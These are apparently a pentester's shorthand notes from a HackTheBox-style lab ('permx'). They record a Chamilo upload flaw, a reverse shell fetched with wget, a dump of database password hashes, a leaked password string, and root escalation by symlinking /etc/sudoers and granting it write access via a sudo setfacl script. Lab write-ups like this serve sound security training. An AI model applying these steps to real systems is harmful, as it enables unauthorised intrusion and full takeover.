Port 20 and 80 are open wiht premx.htb title
- we also found lms.permex.htb
https://starlabs.sg/advisories/23/23-4220/
Got the reve shell using wget bad.sh
03F6lY3uXAP2bkW8
MariaDB [chamilo]> select username, password from user;
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2y$04$1Ddsofn9mOaa9cbPzk0m6euWcainR.ZT2ts96vRCKrN7CGCmmq4ra |
| anon | $2y$04$wyjp2UVTeiD/jF4OdoYDquf4e7OWi6a3sohKRDe80IHAyihX0ujdS |
+----------+--------------------------------------------------------------+
2 rows in set (0.000 sec)
using db password
linux file ACL
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
touch file
ln -s /etc/sudoers file
sudo /opt/acl.sh mtz rw /home/mtz/file
mtz@permx:~$ cat user.txt
4ee0165480e9e0c3bbf5137c7fe3f689
93916dc7aa0e4d46726639f9d5b6ea85